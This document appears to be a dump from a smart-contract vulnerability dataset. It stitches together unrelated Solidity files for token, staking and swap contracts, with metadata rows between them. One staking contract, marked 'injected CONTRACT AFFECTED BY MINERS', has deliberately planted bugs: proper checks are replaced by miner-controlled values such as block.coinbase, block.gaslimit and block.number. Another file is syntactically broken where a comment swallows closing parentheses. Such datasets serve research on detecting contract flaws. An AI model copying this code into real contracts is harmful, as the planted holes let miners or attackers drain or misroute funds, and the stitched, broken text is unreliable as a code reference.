bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
}
else {
chains[headKey] = next;
delete chains[currentKey];
}
Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
// WISH masc to increase entropy
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract ERC223Receiver {
function tokenFallback(address _from, uint _value, bytes _data) public;
}
contract ERC223Basic is ERC20Basic {
function transfer(address to, uint value, bytes data) public returns (bool);
event Transfer(address indexed from, address indexed to, uint value, bytes data);
}
contract SuccessfulERC223Receiver is ERC223Receiver {
event Invoked(address from, uint value, bytes data);
function tokenFallback(address _from, uint _value, bytes _data) public {
Invoked(_from, _value, _data);
}
}
contract FailingERC223Receiver is ERC223Receiver {
function tokenFallback(address, uint, bytes) public {
revert();
}
}
contract ERC223ReceiverWithoutTokenFallback {
}
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
Mint(_to, _amount);
Freezed(_to, _until, _amount);
return true;
}
}
contract Consts {
uint constant TOKEN_DECIMALS = 18;
uint8 constant TOKEN_DECIMALS_UINT8 = 18;
uint constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string constant TOKEN_NAME = "Delphi Technologies Token";
string constant TOKEN_SYMBOL = "DTT";
bool constant PAUSED = true;
address constant TARGET_USER = 0xc9060fcf7bD238A359DEA06b6421c7F06E88Dc2b;
uint constant START_TIME = 1523734197;
bool constant CONTINUE_MINTING = true;
}
contract ERC223Token is ERC223Basic, BasicToken, FailingERC223Receiver {
using SafeMath for uint;
function transfer(address _to, uint _value, bytes _data) public returns (bool) {
// Standard function transfer similar to ERC20 transfer with no _data .
// Added due to backwards compatibility reasons .
uint codeLength;
assembly {
// Retrieve the size of the code on target address, this needs assembly.
codeLength := extcodesize(_to)
}
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
if(codeLength > 0) {
ERC223Receiver receiver = ERC223Receiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
}
Transfer(msg.sender, _to, _value, _data);
return true;
}
function transfer(address _to, uint256 _value) public returns (bool) {
bytes memory empty;
return transfer(_to, _value, empty);
}
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
function name() pure public returns (string _name) {
return TOKEN_NAME;
}
function symbol() pure public returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() pure public returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
}
| 179,422 | 11,310 |
781c06b67165b652c522cfa4f7828bdc248be10dfc0b921d26d739677dc0f3f1
| 13,961 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0xbe99996F72e73C69b1FfC7f4565Ac3872BADD22F/contract.sol
| 3,504 | 13,479 |
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Initializable {
bool private initialized;
bool private initializing;
modifier initializer() {
require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized");
bool isTopLevelCall = !initializing;
if (isTopLevelCall) {
initializing = true;
initialized = true;
}
_;
if (isTopLevelCall) {
initializing = false;
}
}
function isConstructor() private view returns (bool) {
address self = address(this);
uint256 cs;
assembly { cs := extcodesize(self) }
return cs == 0;
}
uint256[50] private ______gap;
}
contract StakePool is Initializable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
IERC20 public depositToken;
uint256 private _totalSupply;
mapping(address => uint256) private _balances;
function initialize(address _token) public initializer {
depositToken = IERC20(_token);
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function _stake(uint256 amount) internal {
_totalSupply = _totalSupply.add(amount);
_balances[msg.sender] = _balances[msg.sender].add(amount);
depositToken.safeTransferFrom(msg.sender, address(this), amount);
}
function _withdraw(uint256 amount) internal {
_totalSupply = _totalSupply.sub(amount);
_balances[msg.sender] = _balances[msg.sender].sub(amount);
depositToken.safeTransfer(msg.sender, amount);
}
}
library Math {
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
contract WTRPOOLSHIT is StakePool {
IERC20 public degenToken;
// Halving period in seconds, should be defined as 1 week
uint256 public halvingPeriod = 604800;
// Total reward in 18 decimal
uint256 public totalreward;
// Starting timestamp for Degen Staking Pool
uint256 public starttime;
// The timestamp when stakers should be allowed to withdraw
uint256 public stakingtime;
uint256 public eraPeriod = 0;
uint256 public rewardRate = 0;
uint256 public lastUpdateTime;
uint256 public rewardPerTokenStored;
uint256 public totalRewards = 0;
mapping(address => uint256) public userRewardPerTokenPaid;
mapping(address => uint256) public rewards;
event RewardAdded(uint256 reward);
event Staked(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event RewardPaid(address indexed user, uint256 reward);
modifier updateReward(address account) {
rewardPerTokenStored = rewardPerToken();
lastUpdateTime = lastTimeRewardApplicable();
if (account != address(0)) {
rewards[account] = earned(account);
userRewardPerTokenPaid[account] = rewardPerTokenStored;
}
_;
}
constructor(address _depositToken, address _degenToken, uint256 _totalreward, uint256 _starttime, uint256 _stakingtime) public {
super.initialize(_depositToken);
degenToken = IERC20(_degenToken);
starttime = _starttime;
stakingtime = _stakingtime;
notifyRewardAmount(_totalreward.mul(50).div(100));
}
function lastTimeRewardApplicable() public view returns (uint256) {
return Math.min(block.timestamp, eraPeriod);
}
function rewardPerToken() public view returns (uint256) {
if (totalSupply() == 0) {
return rewardPerTokenStored;
}
return
rewardPerTokenStored.add(lastTimeRewardApplicable()
.sub(lastUpdateTime)
.mul(rewardRate)
.mul(1e18)
.div(totalSupply()));
}
function earned(address account) public view returns (uint256) {
return
balanceOf(account)
.mul(rewardPerToken().sub(userRewardPerTokenPaid[account]))
.div(1e18)
.add(rewards[account]);
}
function stake(uint256 amount) public updateReward(msg.sender) checkhalve checkStart{
require(amount > 0, "ERROR: Cannot stake 0 Tether");
super._stake(amount);
emit Staked(msg.sender, amount);
}
function withdraw(uint256 amount) public updateReward(msg.sender) checkhalve checkStart{
require(amount > 0, "ERROR: Cannot withdraw 0 Tether");
super._withdraw(amount);
emit Withdrawn(msg.sender, amount);
}
function exit() external stakingTime{
withdraw(balanceOf(msg.sender));
getReward();
}
function getReward() public updateReward(msg.sender) checkhalve checkStart stakingTime{
uint256 reward = earned(msg.sender);
if (reward > 0) {
rewards[msg.sender] = 0;
degenToken.safeTransfer(msg.sender, reward);
emit RewardPaid(msg.sender, reward);
totalRewards = totalRewards.add(reward);
}
}
modifier checkhalve(){
if (block.timestamp >= eraPeriod) {
totalreward = totalreward.mul(50).div(100);
rewardRate = totalreward.div(halvingPeriod);
eraPeriod = block.timestamp.add(halvingPeriod);
emit RewardAdded(totalreward);
}
_;
}
modifier checkStart(){
require(block.timestamp > starttime,"ERROR: Not start");
_;
}
modifier stakingTime(){
require(block.timestamp >= stakingtime,"ERROR: Withdrawals open after 24 hours from the beginning");
_;
}
function notifyRewardAmount(uint256 reward)
internal
updateReward(address(0))
{
if (block.timestamp >= eraPeriod) {
rewardRate = reward.div(halvingPeriod);
} else {
uint256 remaining = eraPeriod.sub(block.timestamp);
uint256 leftover = remaining.mul(rewardRate);
rewardRate = reward.add(leftover).div(halvingPeriod);
}
totalreward = reward;
lastUpdateTime = block.timestamp;
eraPeriod = block.timestamp.add(halvingPeriod);
emit RewardAdded(reward);
}
}
| 256,885 | 11,311 |
f045c5bc6452976558391f584a0e3c1f6942836864b73189a6a1847d428544b7
| 30,314 |
.sol
|
Solidity
| false |
293466625
|
xf97/HuangGai
|
40a349be6102d5eb63893fb914659405ae162d93
|
injectedContractDataSet/contractAffectedByMiners/0x464a0fa453ee6012d1cf312ac59e520dd90aa350_affectedByMiners.sol
| 3,750 | 14,488 |
pragma solidity ^0.6.6;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
//
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (block.gaslimit > 0) { //injected CONTRACT AFFECTED BY MINERS
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
//
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
//
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract RLYLStaking is Ownable{
using SafeMath for uint256;
address[] internal stakeholders;
mapping(address => uint256) internal stakes;
mapping(address => uint256) internal stakeTime;
mapping(address => uint256) internal withdrawTime;
mapping(address => uint256) internal rewards;
uint256 reward;
uint256 refillAmount = 0 ;
uint256 time ;
ERC20 tok;
ERC20 tokX;
address internal TOKEN_Y_ADDRESS;
address internal TOKEN_X_ADDRESS;
function setAddressess(address X,address Y) public onlyOwner {
TOKEN_Y_ADDRESS = Y;
tok = ERC20(TOKEN_Y_ADDRESS);
TOKEN_X_ADDRESS = X;
tokX = ERC20(TOKEN_X_ADDRESS);
}
function isStakeholder(address _address) public view returns(bool, uint256)
{
for (uint256 s = 0; s < stakeholders.length; s += 1){
if (block.coinbase == stakeholders[s]) return (true, s); //injected CONTRACT AFFECTED BY MINERS
}
return (false, 0);
}
function addStakeholder(address _stakeholder) private
{
(bool _isStakeholder,) = isStakeholder(_stakeholder);
if(!_isStakeholder) stakeholders.push(_stakeholder);
}
function removeStakeholder(address _stakeholder) private
{
(bool _isStakeholder, uint256 s) = isStakeholder(_stakeholder);
if(_isStakeholder){
stakeholders[s] = stakeholders[stakeholders.length - 1];
stakeholders.pop();
}
}
function stakeOf(address _stakeholder) public view returns(uint256)
{
return stakes[_stakeholder];
}
function totalStakes() public view returns(uint256)
{
uint256 _totalStakes = 0;
for (uint256 s = 0; s < stakeholders.length; s += 1){
_totalStakes = _totalStakes.add(stakes[stakeholders[s]]);
}
return _totalStakes;
}
function createStake(uint256 _stake) public
{
(bool _isStakeholder,) = isStakeholder(msg.sender);
require(_isStakeholder==false, "You are already a stake holder, Please remove your previous stake");
require(_stake > 0, "Stake Amount should be greater than 0");
tok.transferFrom(msg.sender,address(this), _stake);
addStakeholder(msg.sender);
stakes[msg.sender] = _stake;
stakeTime[msg.sender] = now;
}
function removeStake() public
{
(bool _isStakeholder,) = isStakeholder(msg.sender);
require(_isStakeholder==true,"You are not a stake holder");
withdrawReward();
tok.transfer(msg.sender, stakes[msg.sender]);
stakes[msg.sender] = 0;
stakeTime[msg.sender] = 0;
removeStakeholder(msg.sender);
}
function calculateReward(address _stakeholder) public view returns(uint256,uint256,uint256,uint256,uint256)
{
uint total_mits = 0;
uint userReward = SafeMath.div(SafeMath.mul(SafeMath.div(refillAmount,totalStakes()),stakes[_stakeholder]),20160);
if(block.number==0){ //injected CONTRACT AFFECTED BY MINERS
total_mits = SafeMath.div(now - stakeTime[_stakeholder],60);
}
else{
total_mits = SafeMath.div(now - withdrawTime[_stakeholder],60);
}
return (userReward,total_mits,refillAmount,totalStakes(),stakes[_stakeholder]);
}
function withdrawReward() public
{
(bool _isStakeholder,) = isStakeholder(msg.sender);
require(_isStakeholder==true, "Withdraw is only available for stake holders");
(uint256 a,uint256 b,uint256 c,uint256 d,uint256 e) = calculateReward(msg.sender);
reward = SafeMath.mul(a,b);
tokX.transfer(msg.sender, reward);
withdrawTime[msg.sender] = now;
rewards[msg.sender] = 0;
}
function refillStakingContract(uint256 amount) public onlyOwner
{
if(block.number==0){ //injected CONTRACT AFFECTED BY MINERS
time = now;
refillAmount = amount;
} else{
require(time+14 days <= now,"Refill time is 2 weeks");
time = now;
refillAmount = amount;
}
}
}
| 280,993 | 11,312 |
79499272ad98ec0a6381183e3d8daf586550f598dc9101cba11ccaaa5682147a
| 11,236 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/7d/7da7E52f26cfA133E4a42cC3bD9ebcd2e1D6fB08_SushiSwapMultiExactSwapper.sol
| 3,016 | 10,564 |
// File contracts/swappers/SushiSwapMultiExactSwapper.sol
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
// solhint-disable avoid-low-level-calls
// File @boringcrypto/boring-solidity/contracts/interfaces/[emailprotected]
// License-Identifier: MIT
interface IERC20 {
}
// File @boringcrypto/boring-solidity/contracts/libraries/[emailprotected]
// License-Identifier: MIT
library BoringERC20 {
bytes4 private constant SIG_TRANSFER = 0xa9059cbb; // transfer(address,uint256)
/// @notice Provides a safe ERC20.transfer version for different ERC-20 implementations.
/// Reverts on a failed transfer.
/// @param token The address of the ERC-20 token.
/// @param to Transfer tokens to.
/// @param amount The token amount.
function safeTransfer(IERC20 token,
address to,
uint256 amount) internal {
(bool success, bytes memory data) = address(token).call(abi.encodeWithSelector(SIG_TRANSFER, to, amount));
require(success && (data.length == 0 || abi.decode(data, (bool))), "BoringERC20: Transfer failed");
}
}
// File @boringcrypto/boring-solidity/contracts/libraries/[emailprotected]
// License-Identifier: MIT
/// @notice A library for performing overflow-/underflow-safe math,
/// updated with awesomeness from of DappHub (https://github.com/dapphub/ds-math).
library BoringMath {
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
require((c = a + b) >= b, "BoringMath: Add Overflow");
}
function sub(uint256 a, uint256 b) internal pure returns (uint256 c) {
require((c = a - b) <= a, "BoringMath: Underflow");
}
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
require(b == 0 || (c = a * b) / b == a, "BoringMath: Mul Overflow");
}
}
// File @sushiswap/core/contracts/uniswapv2/interfaces/[emailprotected]
// License-Identifier: GPL-3.0
interface IUniswapV2Pair {
function getReserves()
external
view
returns (uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast);
function swap(uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data) external;
}
// File contracts/libraries/UniswapV2Library.sol
// License-Identifier: GPL-3.0
library UniswapV2Library {
using BoringMath for uint256;
// returns sorted token addresses, used to handle return values from pairs sorted in this order
function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) {
require(tokenA != tokenB, "UniswapV2Library: IDENTICAL_ADDRESSES");
(token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
require(token0 != address(0), "UniswapV2Library: ZERO_ADDRESS");
}
// calculates the CREATE2 address for a pair without making any external calls
function pairFor(address factory,
address tokenA,
address tokenB,
bytes32 pairCodeHash) internal pure returns (address pair) {
(address token0, address token1) = sortTokens(tokenA, tokenB);
pair = address(uint256(keccak256(abi.encodePacked(hex"ff",
factory,
keccak256(abi.encodePacked(token0, token1)),
pairCodeHash // init code hash))));
}
// fetches and sorts the reserves for a pair
function getReserves(address factory,
address tokenA,
address tokenB,
bytes32 pairCodeHash) internal view returns (uint256 reserveA, uint256 reserveB) {
(address token0,) = sortTokens(tokenA, tokenB);
(uint256 reserve0, uint256 reserve1,) = IUniswapV2Pair(pairFor(factory, tokenA, tokenB, pairCodeHash)).getReserves();
(reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0);
}
function getAmountOut(uint256 amountIn,
uint256 reserveIn,
uint256 reserveOut) internal pure returns (uint256 amountOut) {
require(amountIn > 0, "UniswapV2Library: INSUFFICIENT_INPUT_AMOUNT");
require(reserveIn > 0 && reserveOut > 0, "UniswapV2Library: INSUFFICIENT_LIQUIDITY");
uint256 amountInWithFee = amountIn.mul(997);
uint256 numerator = amountInWithFee.mul(reserveOut);
uint256 denominator = reserveIn.mul(1000).add(amountInWithFee);
amountOut = numerator / denominator;
}
// performs chained getAmountOut calculations on any number of pairs
function getAmountsOut(address factory,
uint256 amountIn,
address[] memory path,
bytes32 pairCodeHash) internal view returns (uint256[] memory amounts) {
require(path.length >= 2, "UniswapV2Library: INVALID_PATH");
amounts = new uint256[](path.length);
amounts[0] = amountIn;
for (uint256 i; i < path.length - 1; i++) {
(uint256 reserveIn, uint256 reserveOut) = getReserves(factory, path[i], path[i + 1], pairCodeHash);
amounts[i + 1] = getAmountOut(amounts[i], reserveIn, reserveOut);
}
}
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) internal pure returns (uint amountIn) {
require(amountOut > 0, 'UniswapV2Library: INSUFFICIENT_OUTPUT_AMOUNT');
require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
